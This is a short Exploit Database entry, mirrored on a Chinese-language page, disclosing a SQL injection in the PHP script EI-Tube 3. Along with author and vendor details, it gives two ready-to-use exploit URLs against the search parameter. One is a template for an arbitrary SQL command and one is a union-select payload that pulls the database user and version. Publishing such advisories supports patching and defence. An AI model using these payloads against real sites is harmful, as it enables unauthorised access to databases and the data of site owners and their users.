EI-Tube 3 – SQL Injection

• Exploit Database
• 40 阅读

• 作者： Meisam Monsef
  日期： 2019-02-21
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/46440/

• # Exploit Title: PHP EI-Tube Script - Sql Injection
  # Date: 2019-02-21
  # Exploit Author: Meisam Monsef - meisamrce@gmail.com
  # Vendor Homepage: https://codecanyon.net/item/eitube-youtube-api-v3-site-builder/22722912?s_rank=17
  # Version: 3
  # Tested on: ubuntu
  # special thanks : Alireza Noorkazemi - A-H - Akhzari -
  # Net Hunter (Pouya) - M.Azizi - EBI -Navid - Shahab RA - SAM.SH
  # M.I - Nikavar - Hosseini
  # very special thanks : esecurity.ir
  
  Exploit:
  https://target/search?q=-999%22+[sql+command]+%23
  https://target/search?q=-999%22+union+select+1,user(),3,4,5,version()+%23